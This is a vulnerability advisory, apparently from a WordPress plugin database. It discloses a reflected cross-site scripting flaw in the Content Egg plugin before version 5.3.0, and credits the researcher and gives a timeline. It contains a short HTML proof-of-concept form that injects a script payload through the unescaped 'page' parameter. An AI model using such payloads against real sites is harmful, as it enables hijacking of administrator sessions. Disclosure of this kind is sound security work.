WordPress Plugin Vulnerabilities
Content Egg < 5.3.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the page parameter before outputting back in an attribute in the Autoblogging admin dashboard, leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<form action="https://example.com/wp-admin/admin.php?page=content-egg-autoblog" method="POST">
<input type="text" name="page" value='"><script>alert(/XSS/);</script>'>
<input type="submit" value="Send">
</form>
</html> Affects Plugins
Fixed in version 5.3.0
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-04-06 (about 8 months ago)
Added
2022-04-06 (about 8 months ago)
Last Updated
2022-04-13 (about 7 months ago)